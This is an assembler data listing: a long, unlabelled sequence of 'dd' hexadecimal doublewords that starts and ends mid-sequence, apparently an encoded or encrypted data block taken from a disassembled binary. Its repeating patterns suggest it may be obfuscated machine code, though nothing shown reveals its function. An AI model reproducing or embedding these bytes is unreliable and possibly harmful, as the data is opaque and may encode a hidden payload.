6BFBDA4Fh, 7625F16Ah, 0F38A2779h, 759ACD26h dd 0FAEE4FC5h, 4F796A6Bh, 6A6BFB4Ah, 277965F1h, 0CD26F38Eh dd 4FC5758Eh, 6A6BF83Ah, 0F87A4F79h, 25F16A6Bh, 86277972h dd 0AECD26F3h, 0FBF64FF1h, 25F16A6Bh, 8227797Eh, 25CD66F3h dd 0B9B32124h, 129FF32Fh, 6A6B116Eh, 53826F85h, 6EDB6A7Fh dd 276A6B11h, 2F7A7EB8h, 96FB9FF3h, 7A7A7962h, 0F12D2C29h dd 27F1720Fh, 3A47F176h, 356A6BFBh, 7A785193h, 0F780127Ah dd 0CF926A6Bh, 2D8585C8h, 87EFF72Ah, 28858586h, 23526F85h dd 0F2DB6A77h, 7F6A6BFBh, 7A7A7A80h, 0FBF67F79h, 0FFF36A6Bh dd 85858786h, 6BF79212h, 0C8FC926Ah, 0EFF78585h, 85858696h dd 86EFF728h, 28858587h, 857BEFF7h, 2A288585h, 8687EFF7h dd 12288585h, 0FA7A7A7Bh, 7A68FA92h, 56BEF97Ah, 868AFFF3h dd 0BAFF8585h, 7BC3FE75h, 0FFF77A7Ah, 85858478h, 79FFF72Ah dd 2A858585h, 85B93892h, 0FA9ADB85h, 7F796A6Bh, 6A6BF87Ah dd 2A7092F9h, 8478FFF7h, 292A8585h, 859F3092h, 6EBEF985h dd 0FB166FF1h, 0B8FB6A6Bh, 7A7A8580h, 0FE75AA43h, 7A7A7B09h dd 6BF7F012h, 0CB84926Ah, 2A238585h, 857BEFF7h, 92288585h dd 7A7A26B7h, 6BFBFEDBh, 1A7F796Ah, 0F96A6BFBh, 0FFF37192h dd 8585868Eh, 6BFB8EDBh, 7392F96Ah, 8682FFF3h, 4F918585h dd 8682FFF1h, 0C6FA8585h, 85857B7Fh, 650F5985h, 8682FFF1h dd 6FF18585h, 6A6BFB6Ah, 0E677C575h, 7B6A6BFAh, 7590F9B0h dd 7B7FEEF2h, 85858585h, 858682FFh, 82C7FB85h, 85858586h dd 87A7A7Ah, 0FA92DBC5h, 817F6A6Bh, 797A7A7Ah, 6BFAA67Fh dd 86FFF36Ah, 0F7858587h, 858696FFh, 0FFF72A85h, 85858786h dd 78FFF72Ah, 2A858584h, 868EFFF1h, 0FEF78585h, 85857B7Fh dd 0FFF72A85h, 85858687h, 7A7B122Ah, 1892FA7Ah, 0F97A7A6Bh dd 0FFF362BEh, 8585868Ah, 5A0FBAFFh, 927FC575h, 756A6BFBh dd 0FBEA6FC5h, 0AA7B6A6Bh, 0FB4E6FF1h, 90F96A6Bh, 7FEEF278h dd 85858789h, 868EFFF1h, 0FFF38585h, 85858692h, 7B7FF6F7h dd 0F9858585h, 0FA3A85B2h, 0F7A7B46h, 92F7F183h, 7B858586h dd 8EF7F3BBh, 0F7858586h, 858478FFh, 852C2A85h, 7A8A566Fh dd 72BEF96Ah, 6BF7FF12h, 0CAB4926Ah, 0BEF98585h, 852C2A7Eh dd 7A8A566Fh, 72BEF96Ah, 868EFF85h, 0FFF18585h, 8585868Eh dd 7FFECC75h, 8585857Bh, 0FB226FF1h, 6F796A6Bh, 6A6BFBC6h dd 437390F9h, 70FF75AAh, 3D858585h, 6BFB6ADBh, 6FBAF96Ah dd 0F875BD43h, 858587BFh, 0B3212425h, 9FF32FB9h, 727FC575h dd 326A6BF8h, 116E7F43h, 710C6A6Bh, 6B116E12h, 6E6F856Ah dd 0DB6A7A8Ah, 6A6B116Eh, 7A7EB827h, 36F12C29h, 4FF1765Eh dd 6A6BF86Eh, 0FAA267F1h, 0B9FB6A6Bh, 95B7D1F8h, 0B66FC575h dd 7B6A6BFAh, 0CB26F3A9h, 4FC57582h, 6A6BFB42h, 0FB1A67F1h dd 0B9FB6A6Bh, 6A482E15h, 75CB66F3h, 0FBBE4FC5h, 4F796A6Bh dd 6A6BFB7Ah, 0FB2A67F1h, 0B9FB6A6Bh, 0E2C0A68Eh, 0FBC66779h dd 26F36A6Bh, 4FF1BECBh, 6A6BFB6Ah, 3267C575h, 0FB6A6BFBh dd 3F597AB9h, 0CB26F31Dh, 0B92124A6h, 0F700122Dh, 0AF926A6Bh dd 238585D5h, 0E26F852Ah, 0D96A7B5Fh, 6A6BF816h, 6BFB76DBh dd 6FC5756Ah, 6A6BFB52h, 92F9AA7Bh, 167F437Dh, 0F6A6BF8h dd 0F715126Dh, 0DF926A6Bh, 238585D5h, 626F852Ah, 0D96A7F48h dd 6A6BF816h, 527FC575h, 0F96A6BFBh, 7F437F92h, 6A6BF816h dd 2312670Eh, 926A6BF7h, 8585D506h, 4F852A23h, 6A6BF816h dd 5BD66F85h, 0CED96A7Bh, 256A7B5Fh, 9FF32FB9h, 2D2C292Bh dd 0F37627F1h, 7E95BBA5h, 77F182F3h, 6A6BFB0Eh, 8D73BBF9h dd 863FF39Bh, 0BC53A4F3h, 7E67C575h, 396A6BFBh, 0A4F38BF3h dd 27F19CA9h, 66CD7572h, 5BA5F301h, 0F8D438Dh, 7FC5756Eh dd 6A6BFB3Eh, 4779BDF3h, 6A6BFAE2h, 917695F9h, 7FC57568h dd 6A6BFA82h, 4779BDF3h, 6A6BFB3Ah, 0F37C95F9h, 21242582h dd 0F32FB9B3h, 6A96F99Fh, 0F72D2C29h, 852A863Fh, 0B592720Fh dd 0F97A7A41h, 0BCF372BEh, 0EE7FC575h, 326A6BFBh, 7D0FBC43h dd 0D393BA4Bh, 0DB7A7A7Ah, 6A6BFBDAh, 4779BDF3h, 6A6BFB9Ah dd 0F17295F9h, 0BBF3763Fh, 3A85B2F9h, 7A7B46FAh, 3FF3830Fh dd 4476F782h, 3A85B2F9h, 7A7B46FAh, 0B9F3830Fh, 416A2751h dd 350F8227h, 7B8A3FBDh, 757A7A7Ah, 0FB527FC5h, 92F96A6Bh dd 8E3FF37Fh, 3FF15891h, 7B80F38Eh, 6A2F79B8h, 6C6ECC75h dd 757637F1h, 437B7EC4h, 0F97C0EB8h, 917A8A1Fh, 8E3F8572h dd 88E2743h, 8A07F9A3h, 2C760E7Ah, 5FB66F85h, 0BA4B6A7Bh dd 795B913Ah, 42DB6A07h, 3A6A6BF8h, 0F8767F79h, 0BD7B6A6Bh dd 741A57Bh, 2CF80886h, 5FB66F85h, 0BA4B6A7Bh, 0B3212425h dd 9FF32FB9h, 2C7696F9h, 760FF12Dh, 4B723FF1h, 0F18C8DA8h dd 6BFBD647h, 7895F96Ah, 7F0F8043h, 91723FF1h, 723FF160h dd 8C8DA84Bh, 0F3823FF3h, 0F39C8DBDh, 0BDF38E3Fh, 7F38D7Bh dd 2582F386h, 2FB9B324h, 96FB9FF3h, 7A7A784Ah, 0F12D2C29h dd 27F1720Fh, 47A2F376h, 7A7A7B7Ah, 0F6756C0Eh, 7A7A7FB1h dd 7A7B6B47h, 0DAFE757Ah, 937A7A7Ah, 7A7A7FC1h, 736A07F9h dd 7FCBFF75h, 0C5757A7Ah, 6BF83A47h, 7295F96Ah, 4AC21191h dd 8D7A7A7Ah, 82FFF39Dh, 43858587h, 4F1E7F4Eh, 650F6A73h dd 7A7A4AC2h, 0F39D8D7Ah, 85878EFFh, 7F4E8585h, 6A734F12h dd 53866F85h, 0A936A7Fh, 0C27A7A7Fh, 7A7A7A4Ah, 0FFF39D8Dh dd 8585878Eh, 1A7F4E43h, 0F6A734Fh, 7A4AC265h, 9D8D7A7Ah dd 878AFFF3h, 4E858585h, 734F1E7Fh, 866F856Ah, 936A7F53h dd 7A7A7F41h, 7FC5753Dh, 6A6BF86Ah, 0FBC66FF1h, 3EF76A6Bh dd 0BD43236Ah, 5A93FA08h, 757A7A7Fh, 0FB527FC5h, 0BDF36A6Bh dd 0FB0E4779h, 95F96A6Bh, 0C2609176h, 7A7A7A4Ah, 0FFF39D8Dh dd 85858782h, 167F7EF1h, 436A734Fh, 690E6E3Fh, 0FB3ADB3Dh dd 0BAF96A6Bh, 0FA7F7919h, 436A6BFBh, 0DBAE08BDh, 6A6BFBCAh dd 4327BAF9h, 0AAFE75BDh, 127A7A7Eh, 7A7A7A85h, 8487FFF7h dd 0C22A8585h, 7A7A7A4Ah dd 0FFF39D8Dh, 8585878Eh, 227F4E85h, 856A734Fh, 6B15426Fh dd 7FC5756Ah, 6A6BFBDEh, 8C7FFEBCh, 31858587h, 467FC575h dd 0F16A6BFBh, 6BFBA26Fh, 7E90F96Ah, 8F7FEEF2h, 75858587h dd 0FBD27FC5h, 7F796A6Bh, 6A6BFA92h, 867FFEBCh, 6858587h dd 8487FFF7h, 0F72A8585h, 858786FFh, 6F852A85h, 6A7A8A56h dd 1272BEF9h, 7A7A7A85h, 8487FFF7h, 0C22A8585h, 7A7A7A4Ah dd 0FFF39D8Dh, 8585878Ah, 1A7F4E85h, 856A734Fh, 6B15426Fh dd 0F876DB6Ah, 0C5756A6Bh, 6BFBEE6Fh, 75AA7B6Ah, 827FFEC4h dd 0F1858584h, 6BFBB26Fh, 666F796Ah, 0F96A6BFBh, 0AA437090h dd 4C12260Fh, 926A6BF7h, 8585D18Ah, 6FC57523h, 6A6BFB42h dd 287990F9h, 0FB8E6FF1h, 6F796A6Bh, 6A6BFAD6h, 286A90F9h dd 3A6FF12Ah, 796A6BFBh, 6BFAC26Fh, 7F90F96Ah, 426F8528h dd 0C26A7723h, 7A7A7A4Ah, 0FFF39D8Dh, 85858796h, 1A7F4E85h dd 856A734Fh, 7F53866Fh, 79D7936Ah, 4B127A7Ah, 926A6BF7h dd 8585D1EEh, 86EFF72Ah, 28858587h, 8A566F85h, 0FFF76A7Ah dd 85858487h, 86FFF72Ah, 2A858587h, 8A566F85h, 0BEF96A7Ah dd 7A85126Eh, 0FFF77A7Ah, 85858487h, 7A4AC22Ah, 9D8D7A7Ah dd 8796FFF3h, 4E858585h, 734F1E7Fh, 426F856Ah, 0DB6A6B15h dd 6A6BFAD6h, 7FFEC475h, 8585848Ch, 0FAE26FF1h, 6F796A6Bh dd 6A6BFABAh, 437190F9h, 12200FAAh, 6A6BF775h, 85D16592h dd 6FF12385h, 6A6BFB3Ah, 0FAB26F79h, 90F96A6Bh, 6FF12878h dd 6A6BFB82h, 0FB166F79h, 90F96A6Bh, 752A2872h, 0FB326FC5h dd 28306A6Bh, 23426F85h, 4AC26A77h, 8D7A7A7Ah, 92FFF39Dh dd 85858587h, 4F1E7F4Eh, 6F856A73h, 6A7F5386h, 7A78A493h dd 0F770127Ah, 0BF926A6Bh, 2A8585D0h, 8786EFF7h, 85288585h dd 7A8A566Fh, 87FFF76Ah, 2A858584h, 8786FFF7h, 852A8585h dd 7A8A566Fh, 6EBEF96Ah, 7A7A8512h, 87FFF77Ah, 2A858584h dd 7A7A4AC2h, 0F39D8D7Ah, 858792FFh, 7F4E8585h, 6A734F12h dd 15426F85h, 2EDB6A6Bh, 756A6BFBh, 8F7FFEC4h, 75858584h dd 0F86A6FC5h, 6F796A6Bh, 6A6BF846h, 437F90F9h, 53FE75AAh dd 0F77A7A7Bh, 858487F7h, 85B2F985h, 7B46FA3Ah, 0F3830F7Ah dd 5677F1B8h, 756A6BF8h, 0F8727FC5h, 0BB7B6A6Bh, 437E93F9h dd 87F875B0h, 0DB7A7A7Ah, 6A6BF856h, 0F27D92F9h, 858481FFh dd 75589185h, 8481FFCCh, 0FEF08585h, 8584877Fh, 64A4685h dd 443467Eh, 7AA8937Fh, 0FFFA7A7Ah, 85858481h, 87F7F77Bh dd 0F9858584h, 0FA3A85B2h, 0F7A7B46h, 0F7CC7583h, 85858481h dd 0B908BB43h, 6BFB9ADBh, 767F796Ah, 0F96A6BF8h, 0FFF27292h dd 85858486h, 0FFF00C91h, 85858486h, 879DFFF2h, 53918585h dd 9DFFCC75h, 75858587h, 877FFEC4h, 75858584h, 8486EFCCh dd 0C4758585h, 84876FEEh, 0AA438585h, 0FFFA580Fh, 8585879Dh dd 87F7F77Bh, 0F9858584h, 0FA3A85B2h, 0F7A7B46h, 0F7CC7583h dd 8585879Dh, 0C608BB43h, 9DFFCC75h, 75858587h, 8486EFCCh dd 0AA538585h, 0FAC66FF1h, 0B8F96A6Bh, 5AA4379h, 86FFFA51h dd 7B858584h, 8487F7F7h, 0B2F98585h, 46FA3A85h, 830F7A7Bh dd 86F7CC75h, 43858584h, 11F875BBh, 93858585h, 7A7A7AE6h dd 6BFB0ADBh, 7DB67F6Ah, 852A7A7Ah, 77235E6Fh, 0F6AB126Ah dd 6B926A6Bh, 0F38585D3h, 85879EFFh, 0F6C01285h, 7B926A6Bh dd 0F18585D3h, 6BFB726Fh, 7290F96Ah, 0EFF12A28h, 8585879Eh dd 566FF128h, 796A6BF8h, 6BFA966Fh, 7290F96Ah, 426F8528h dd 126A7723h, 6A6BF6CCh, 85D2B592h, 6ABEF985h, 7A4AC22Ah dd 9D8D7A7Ah, 879AFFF3h, 0B8F38585h, 126F4E85h, 856A734Fh dd 6B232E6Fh, 7A4AC26Ah, 9D8D7A7Ah, 87A6FFF3h, 4E858585h dd 734F127Fh, 866F856Ah, 936A7F53h, 7A7A7AE5h, 6BF6CB12h dd 0D2FC926Ah, 0F72A8585h, 858786EFh, 6F852885h, 6A7A8A56h dd 8487FFF7h, 0F72A8585h, 858786FFh, 6F852A85h, 6A7A8A56h dd 7A7A4AC2h, 0F39D8D7Ah, 8587A2FFh, 7F4E8585h, 6A734F22h dd 4B926F85h, 0FFF76A7Fh, 85858786h, 6E6F852Ah, 0F96A7B7Ah dd 7F1062BEh, 7A7A4AC2h, 0F39D8D7Ah, 8587AEFFh, 7F4E8585h dd 6A734F2Eh, 23226F85h, 4AC26A6Bh, 8D7A7A7Ah, 0AAFFF39Dh dd 75858587h, 0FBE27FC5h, 0C5756A6Bh, 6BFBB66Fh, 0F9AA7B6Ah dd 0EFF17092h, 858587AAh, 2A6F7EF3h, 0F16A734Fh, 6BFBA647h dd 7AAD936Ah, 4AC27A7Ah, 8D7A7A7Ah, 823FF39Dh, 267F4E41h dd 0F6A734Fh, 6E0F855Eh, 296A0F85h, 7A4AC22Ch, 9D8D7A7Ah dd 858E3FF3h, 4F067F4Eh, 6F856A73h, 6A732282h, 7A7AC393h dd 7A4AC27Ah, 9D8D7A7Ah, 418A3FF3h, 4F127F4Eh, 5E0F6A73h dd 856E0F85h, 2C296A0Fh, 7A7A4AC2h, 0F39D8D7Ah, 4E85963Fh dd 734F027Fh, 826F856Ah, 936A7322h, 7A7A7AF8h, 7A7A4AC2h dd 0F39D8D7Ah, 4E41923Fh, 734F1A7Fh, 855B0F6Ah, 0F856E0Fh dd 0C22C296Ah, 7A7A7A4Ah, 3FF39D8Dh, 7F4E859Eh, 6A734F0Ah dd 22826F85h, 34916A73h, 7A7A4AC2h, 0F39D8D7Ah, 4E419A3Fh dd 734F1E7Fh, 855B0F6Ah, 0F856E0Fh, 0C22C296Ah, 7A7A7A4Ah dd 3FF39D8Dh, 7F4E85A6h, 6A734F0Eh, 22826F85h, 60916A73h dd 0FA92DB3Dh, 0BAF96A6Bh, 6FC57524h, 6A6BFACEh, 0BD43AA7Bh dd 856AF875h, 24258585h, 6AB8B321h, 9FF32F7Ah, 7B7E96FBh dd 2D2C7A7Ah, 757607F1h, 0FAAA7FC5h, 0C5756A6Bh, 6BFB326Fh dd 0F9AA7B6Ah, 46FA7D92h, 3F0E547Dh, 0F7720F85h, 858486FFh dd 6F852A85h, 6A7B5BDEh, 6BF6D612h, 0DCD4926Ah, 0F72A8585h dd 858486CFh, 6F852C85h, 6A7A8A56h, 86FFF72Dh, 2A858584h dd 8A566F85h, 0FFF76A7Ah, 85858486h, 4616922Ah, 0BEF97A7Ah dd 0B324255Ah, 0F12C29B9h, 0F1765E26h, 0F16A5E0Eh, 6BF86E77h dd 67BBF96Ah, 6BF866DBh, 6FC5756Ah, 6A6BFB8Ah, 92F9AA7Bh dd 91BB5373h, 6EF11C64h, 6E411C31h, 4B7E0934h, 1C6791BAh dd 1C316EF1h, 0C346E41h, 3ABA4B7Fh, 0DB337491h, 6A6BF85Eh dd 7BB4332h, 3ABA4BA2h, 2FB92124h, 2C299FF3h, 6A0FF12Dh dd 4B6E27F1h, 0F15B9185h, 539AC76Eh, 6FF36A7Bh, 6A7A8A72h dd 7A1E6012h, 852C296Ah, 0F85760Fh, 726F8572h, 3D6A7A8Ah dd 0F8DE4741h, 0AD086A6Bh, 27212425h, 9FF32FB9h, 293696F9h dd 6F852D2Ch, 6A6B200Ah, 0F1863FF3h, 4FF17227h, 6A6BFAC2h dd 917E94F9h, 966FF136h, 0F96A6BFBh, 6E437990h, 7B6A9ACFh dd 0F1430E6Ah, 332ACF6Eh, 77F16A73h, 6A6BFAA2h, 9020BBFBh dd 0DADB7A7Ah, 796A6BFAh, 6BFB227Fh, 0D575326Ah, 41B07BB2h dd 6A09862Fh, 0FBCA6FF1h, 90F96A6Bh, 0CF6EF37Dh, 6A7B6A9Ah dd 0FBAADB3Ch, 9A7F6A6Bh, 797A7A79h, 6BFA967Fh, 8BC436Ah dd 0F379F1DAh, 66F78A3Fh, 51A2F379h, 3F41723Fh, 0BCF97576h dd 757A7A7Bh, 0FB1E7FC5h, 0BAF96A6Bh, 8A3F4379h, 0A2F3A10Dh dd 0F1723F51h, 6BFB226Fh, 5E6F796Ah, 306A6BFBh, 3FF3AA53h dd 0F9A3F382h, 0FA3A85B2h, 0F7A7B46h, 8E3FF383h, 6BF832DBh dd 79BDF36Ah, 6BFAD647h, 7195F96Ah, 6FF14F91h, 6A6BFB96h dd 0FADE6F79h, 90F96A6Bh, 0C76E4370h, 6A7B6A9Ah, 2FF1660Eh dd 0C76E4382h, 6A7B7A5Ah, 6EF06A0Fh, 7B5BCA47h, 622F406Ah dd 7B4AFE75h, 0DB3D7A7Ah, 6A6BF876h, 7A799E7Fh, 8BD437Ah dd 0FBF2DBC7h, 0C17F6A6Bh, 437A7A79h, 0FC758E3Fh, 7A7A7AC2h dd 6BFB5ADBh, 7F793A6Ah dd 6A6BFBC6h, 0CF3FF72Ah, 0BDDE922Ah, 0BEF98585h, 0FBC6DB72h dd 0C87F6A6Bh, 757A7A79h, 0FBBE6FC5h, 0AA7B6A6Bh, 0DB963FF3h dd 6A6BF856h, 0F37D92F9h, 3FF1923Fh, 797EF096h, 0F19D3FF2h dd 0C575963Fh, 6BFBBE6Fh, 8E6F796Ah, 0F96A6BFBh, 6EF26B90h dd 759A1279h, 0F856A7Bh, 920F858Eh, 2ACF3FF7h, 856E3FF1h dd 720F854Ah, 6A0F8529h, 727FC575h, 326A6BF8h, 7A7A855Fh dd 0C6922A7Ah, 0F97A7A7Eh, 3FF15EBEh, 923FF396h, 0F29D2FF0h dd 4ADB796Eh, 7F6A6BF8h, 7A7A79C5h, 0F1963F7Bh, 3F438E3Fh dd 0F3790C96h, 3FF1963Fh, 923F438Eh, 0F8912909h, 6BF6DD12h dd 0D98C926Ah, 9A128585h, 856A7B75h, 0C5758E0Fh, 6BFBDE6Fh dd 77C5756Ah, 6A6BFBE2h, 90F9B07Bh, 0F12A287Dh, 48856E2Fh dd 29720F85h, 0F16A0F85h, 6BFADA6Fh, 6E6F796Ah, 0F96A6BFBh dd 98FB7E90h, 7A7A7A85h, 7E479228h, 0BEF97A7Ah, 6E3FF152h dd 3FF17A85h, 7966F78Eh, 6E3FF139h, 0F8526FF1h, 0B8F96A6Bh dd 756A4376h, 85845EFCh, 0F6D91285h, 0FF926A6Bh, 128585D9h dd 6A7B759Ah, 0FBA26FF1h, 0C5756A6Bh, 6BFAAA77h, 0F9B07B6Ah dd 75287090h, 0FB466FC5h, 90F96A6Bh, 282A2873h, 0DE6FC575h dd 0F96A6BFBh, 75287C90h, 0FB626FC5h, 90F96A6Bh, 0F852872h dd 9A6FF16Ah, 796A6BFBh, 6BFB9E6Fh, 7D90F96Ah, 7A8598FBh dd 92287A7Ah, 7A7A79CDh, 2552BEF9h, 0B9B32124h, 0F6EC122Dh dd 63926A6Bh, 238585D9h, 0E26F852Ah, 0D96A7B5Fh, 6A6BF81Eh dd 6BFBC2DBh, 7E7F796Ah, 0F96A6BF8h, 7F437C92h, 6A6BF81Eh dd 0F3126D0Fh, 926A6BF6h, 8585D896h, 6F852A23h, 6A7F4862h dd 6BF81ED9h, 0F60D126Ah, 0AF926A6Bh, 2A8585D8h, 0F81E4F85h dd 6F856A6Bh, 6A7B5BD6h, 7B5AF6D9h, 0F61D126Ah, 0C3926A6Bh dd 2A8585D8h, 0F81E4F85h, 6F856A6Bh, 6A7B5BD6h, 7B5AFED9h dd 0F62E126Ah, 0E7926A6Bh, 2A8585D8h, 0F81E4F85h, 6F856A6Bh dd 6A7B5BD6h, 6B0A32D9h, 0F63A126Ah, 0FB926A6Bh, 2A8585D8h dd 0F81E4F85h, 6F856A6Bh, 6A7B5BD6h, 7B5FAED9h, 0F64B126Ah dd 1F926A6Bh, 2A8585D8h, 0F81E4F85h, 6F856A6Bh, 6A7B5BD6h dd 772346D9h, 0F65A126Ah, 33926A6Bh, 0F98585D8h, 852A62BEh dd 6BF81E4Fh, 0D66F856Ah, 0D96A7B5Bh, 6A7F4B96h, 122DB925h dd 6A6BF668h, 85D85D92h, 852A2385h, 7B5FE26Fh, 0F826D96Ah dd 0C5756A6Bh, 6BFBBE7Fh, 7292F96Ah, 0F8267F43h, 6D0F6A6Bh dd 6BF67E12h, 0DB84926Ah, 2A238585h, 48626F85h, 26D96A7Fh dd 126A6BF8h, 6A6BF188h, 85DB9D92h, 8E922A85h, 0D97A7A4Ah dd 6A7B5FB2h, 6BF19A12h, 0DBA8926Ah, 922A8585h, 7A7A4AA5h dd 73236ED9h, 0F1B3126Ah, 0C7926A6Bh, 2A8585DBh, 7A4AB092h dd 5FDED97Ah, 0CC126A7Bh, 926A6BF1h, 8585DBD2h, 4ACF922Ah dd 46D97A7Ah, 126A7333h, 6A6BF1DFh, 85DBE992h, 0DA922A85h dd 0D97A7A4Ah, 6A77234Ah, 6BF1ED12h, 0DB04926Ah, 922A8585h dd 7A7A4AF1h, 6B2322D9h, 0F1FF126Ah, 13926A6Bh, 2A8585DBh dd 7A4A0C92h, 5AEAD97Ah, 3126A7Bh, 926A6BF1h, 8585DB2Eh dd 4A1B922Ah, 86D97A7Ah, 126A7F53h, 6A6BF117h, 85DB4592h dd 36922A85h, 0D97A7A4Ah, 6A73228Eh, 6BF12312h, 0DB50926Ah dd 922A8585h, 7A7A4A4Dh, 6B217AD9h, 0F133126Ah, 6F926A6Bh dd 2A8585DBh, 7A4A5892h, 8A62D97Ah, 4D126A7Ah, 926A6BF1h dd 8585DB7Ah, 4A77922Ah, 0D6D97A7Ah, 126A7B5Fh, 6A6BF15Ch dd 85DA9192h, 82922A85h, 0D97A7A55h, 6A7B75AAh, 6BF16E12h dd 0DAAC926Ah, 922A8585h, 7A7A5599h, 6B1542D9h, 0F17B126Ah dd 0BB926A6Bh, 2A8585DAh, 7A55B492h, 2282D97Ah, 8A126A73h dd 926A6BF0h, 8585DAD6h, 55C3922Ah, 2AD97A7Ah, 126A6B23h dd 6A6BF099h, 85DAED92h, 0DE922A85h, 0D97A7A55h, 6A7A8A7Eh dd 6BF0AE12h, 0DAF8926Ah, 922A8585h, 7A7A55F5h, 734F32D9h dd 0F0BA126Ah, 17926A6Bh, 2A8585DAh, 7A550092h, 7A62D97Ah dd 0C8126A7Bh, 926A6BF0h, 8585DA22h, 551F922Ah, 7AD97A7Ah dd 126A7B7Ah, 6A6BF0E6h, 85DA3992h, 2A922A85h, 0D97A7A55h dd 6A7B7A6Ah, 6BF0F012h, 0DA54926Ah, 922A8585h, 7A7A5541h dd 6B232ED9h, 0F003126Ah, 63926A6Bh, 2A8585DAh, 7A555C92h dd 4B92D97Ah, 10126A7Fh, 926A6BF0h, 8585DA7Eh, 556B922Ah dd 0BEFB7A7Ah, 7A7A7ABAh, 772342D9h, 10B9256Ah, 68DF9278h dd 7A107A7Ah, 7A68E492h, 72BEF97Ah, 9FF32FB9h, 3FF72D2Bh dd 63122A86h, 757A787Ah, 0FAB67FC5h, 2A326A6Bh, 85760F85h dd 6F85720Fh, 6A7B5FE6h, 8573BDF3h, 0BA4B7E0Eh, 0F854091h dd 6E0F8562h, 0DB660F85h, 6A6BFA9Eh, 0FBCA7F79h, 92F96A6Bh dd 0F852A76h, 860F856Ah, 8A366F85h, 0BDF36A7Ah, 85860F85h dd 73237E6Fh, 0E85736Ah, 91BA4B7Eh, 3ABA4B79h, 2FB9B325h dd 42C29FF3h, 927A788Ah, 7A7A305Fh, 752D2C29h, 0FB1E47C5h dd 85136A6Bh, 7A7A79BAh, 0BE4FC575h, 0FB6A6BFAh, 7A9020BCh dd 4DC6F77Ah, 7A7A79BAh, 0C7F39DABh, 858775B2h, 3302922Dh dd 0BEF97A7Ah, 0ACFFF37Eh, 75858575h, 75723FCCh, 0FBB66FC5h dd 6F796A6Bh, 6A6BFB96h, 437190F9h, 12590FAAh, 6A6BF025h dd 85E57192h, 7EBEF985h, 0A6C7F72Ah, 2D85856Bh, 23526F85h dd 0BEF96A77h, 7BA99372h, 6F857A7Ah, 6A7F4B8Ah, 0E7F2B9F3h dd 858575AFh, 6BF04712h, 0E4A0926Ah, 0BEF98585h, 0C7F72A7Eh dd 85856AA7h, 0DE6F852Dh, 0F96A7B5Bh, 0CC7572BEh, 0C575723Fh dd 6BFB326Fh, 166F796Ah, 0F96A6BFBh, 0AA437E90h, 0C575270Fh dd 6BFBEE7Fh, 0BA6FF16Ah, 0F76A6BFAh, 5F7E6A3Eh, 7A7A7A85h dd 0A4FFF72Ah, 2A858575h, 926A0F85h, 7A7A715Ch, 1276BEF9h dd 6A6BF053h, 85E40192h, 7EBEF985h, 0AFC7CC75h, 2D858575h dd 75A4C7F7h, 0F72D8585h, 856AA7C7h, 0F72A2D85h, 856BA6C7h dd 6F852D85h, 6A772352h, 756EBEF9h, 75723FCCh, 0FACE6FC5h dd 6F796A6Bh, 6A6BFB5Eh, 437D90F9h, 6CFF75AAh, 757A7A7Bh dd 0FBDE7FC5h, 0C5756A6Bh, 6BFA826Fh, 0F9AA7B6Ah, 855F7192h dd 2A7A7A7Ah, 75A4FFF7h, 852A8585h, 6BF8BE4Fh, 70D2926Ah dd 0BEF97A7Ah, 0F3981276h, 87926A6Bh, 0F98585E7h, 7F17EBEh dd 6A0FF15Ah, 897B81F3h, 67C57529h, 6A6BFB32h, 0FB4E6FF1h dd 26F76A6Bh, 85297969h, 852D5E0Fh, 0CC75660Fh, 8575AFC7h dd 8DF32D85h, 756E0751h, 0FB464FC5h, 4F796A6Bh, 6A6BFBC2h dd 537394F9h, 7A122D8Dh, 856A7F48h, 0F85620Fh, 0A4C7F752h dd 2D858575h, 6AA7C7F7h, 2A2D8585h, 6BA6C7F7h, 852D8585h dd 7723526Fh, 42BEF96Ah, 6BF85EDBh, 623F436Ah, 4332190Fh dd 270F5A3Fh, 6BF3C412h, 0E708926Ah, 0BEF98585h, 216A127Eh dd 0C5756A6Bh, 6BFB7E47h, 6E4FF16Ah, 0F76A6BFBh, 2D7F4D06h dd 0F7520F85h, 8575A4C7h, 0C7F72D85h, 85856AA7h, 0C7F72A2Dh dd 858775B7h, 526F852Dh, 0F96A7723h, 0FFF766BEh, 858775B7h dd 0A6FFF72Ah, 2A85856Bh, 8A566F85h, 0BEF96A7Ah, 0B2CF8572h dd 85858775h, 8575ACCFh, 7FC57585h, 6A6BFBB6h, 0FA9E7F79h dd 92F96A6Bh, 2AA28D77h, 6BA6FFF7h, 752A8585h, 0F83E7FC5h dd 92F96A6Bh, 7A102A7Dh, 234E6F85h, 0DE126A77h, 926A6BF3h dd 8585AAD0h, 2A7EBEF9h, 7A766F85h, 0FFF36A7Bh, 858575AAh dd 75ACCF85h, 6F858585h, 6A7B7A76h, 75B6FFF3h, 852A8585h dd 8575AACFh, 763FF185h dd 8562F12Ah, 7A7B7EE9h, 0AACF857Ah, 85858575h, 6B154E6Fh dd 0B6CF856Ah, 85858575h, 6B154E6Fh, 0C6DFF76Ah, 25858775h dd 0B9B32124h, 2B9FF32Fh, 2D2C292Ah, 0F17627F1h, 0A2F36A0Fh dd 0C378BAF9h, 7A7A7A79h, 0D0D0D1C0h, 0AB988DD0h, 862FF390h dd 9DBBADF3h, 6E2FF178h, 0CAD4330h, 93BA4B7Dh, 7A7A7B7Ah dd 6BF32712h, 0E638926Ah, 2A238585h, 6B153A12h, 3D69926Ah dd 4F917A7Ah, 720F852Ch, 85B0B892h, 72BEF985h, 6BFABADBh dd 0B9533A6Ah, 8A7FC575h, 0F96A6BFBh, 3F797992h, 723FF372h dd 6BFBC2DBh, 0AE7F796Ah, 0F96A6BFBh, 4EF77292h, 0FACADB7Ch dd 0C5756A6Bh, 6BF86A6Fh, 0F9AA7B6Ah, 0B9437D92h, 0D6DBCC09h dd 0F96A6BFBh, 0B9437892h, 7910020Ch, 6BFBCEDBh, 7E92F96Ah dd 833FF72Ah, 4E6F852Ah, 296A7333h, 0F7720F85h, 852A833Fh dd 73326E6Fh, 3FF72C6Ah, 32922A83h, 0F98585B0h, 0C5755ABEh dd 6BFB1E7Fh, 6FC5756Ah, 6A6BFAE6h, 92F9AA7Bh, 0FB9437Ch dd 7FC5756Eh, 6A6BFA82h, 0FB5E7F79h, 92F96A6Bh, 7C7EBC7Fh dd 0FBC6DB47h, 7F796A6Bh, 6A6BFABAh, 0BC7F92F9h, 75477C7Eh dd 0FB327FC5h, 0EF76A6Bh, 0C575794Ah, 6BF83A7Fh, 7292F96Ah dd 6A6FC575h, 0F96A6BF8h, 6EF27F90h, 3ABA4B7Ch, 0B3212425h dd 9FF32FB9h, 787696FBh, 2C297A7Ah, 7813922Dh, 0BA737A7Ah dd 7843FE75h, 0FFBD7A7Ah, 85858786h, 7A7A7A85h, 8786FFF7h dd 0F72A8585h, 85857BFFh, 